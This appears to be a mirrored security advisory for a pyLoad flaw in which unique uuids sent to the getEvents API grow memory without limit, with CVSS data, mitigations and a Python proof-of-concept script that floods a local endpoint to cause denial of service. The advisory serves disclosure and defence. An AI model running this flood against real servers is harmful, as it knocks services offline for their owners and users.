pyLoad: Unbounded Memory Growth Leading to DoS and Potential DDoS in EventManager
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
예측 데이터 없음
실측 악용 기록 없음
계획된 패치 주기 내 조치(60일 이내)
CVSS 벡터 · 메트릭
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H상세 설명
Description:
The EventManager module in pyload manages a list of Client instances for subscribing to events. The addition of each unique uuid from the get_events API causes the creation of a Client instance that gets appended to the clients list. Although there is a clean() method available in the EventManager module for removing non-responding Client instances, this method is never used in the EventManager or in the entire core application code. Consequently, this causes an uncontrolled growth in memory consumption until it becomes exhausted, resulting in a DoS attack.
Vulnerable Code:
Here the client is added to the
clientslist but never cleared the inactive clients.
Exploitation:
- Start pyLoad server (Ensure the
pyloadserver is running) - Authenticate: Obtain a session cookie or an API key (Here i used the API key).
- Send Requests: Run the below poc script to send a large number of requests to the
getEventsAPI endpoint, each with a uniqueuuid.
1import requests 2import uuid 3import time 4 5# Configuration 6URL = "http://localhost:8000/api/getEvents" 7NUM_REQUESTS = 100000 8 9headers = {10 "X-API-Key" : "<YOUR_APIKEY>"11}12 13print(f"Starting DoS attack: sending {NUM_REQUESTS} unique UUIDs...")14 15for i in range(NUM_REQUESTS):16 # Generating a new UUID17 uid = str(uuid.uuid4())18 try:19 # Sending request20 requests.get(URL, params={"uuid": uid}, headers=headers, timeout=5)21 if i % 1000 == 0:22 print(f"Sent {i} requests...")23 except requests.exceptions.RequestException as e:24 print(f"Error at request {i}: {e}")25 break26 27print("Attack complete. Check memory usage.")- Monitor Memory: Monitor the memory usage of the
pyloadprocess (e.g., usingtop,psor the following commands).
1PID=$(pgrep -f "pyload"); while true; do ps -o rss= -p $PID; sleep 1; done- Observe Growth: Notice that the memory consumption increases and never decreases, even after the requests stop and 30 seconds.
https://github.com/user-attachments/assets/28d460c9-655d-45a1-a47f-c0f4d196f686
Impact:
- Denial of Service (DoS). The
pyloadprocess will consume all available system memory, leading to an Out-of-Memory (OOM) kill by the operating system or system-wide instability, affecting other services on the host.
Mitigations:
- Invoke
clean(): Callself.clean()at the beginning of theget_eventsmethod to purge inactive clients before processing new ones. - Rate Limiting: Implement rate limiting on the
getEventsendpoint to prevent a single client from flooding the server with unique UUIDs.
AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.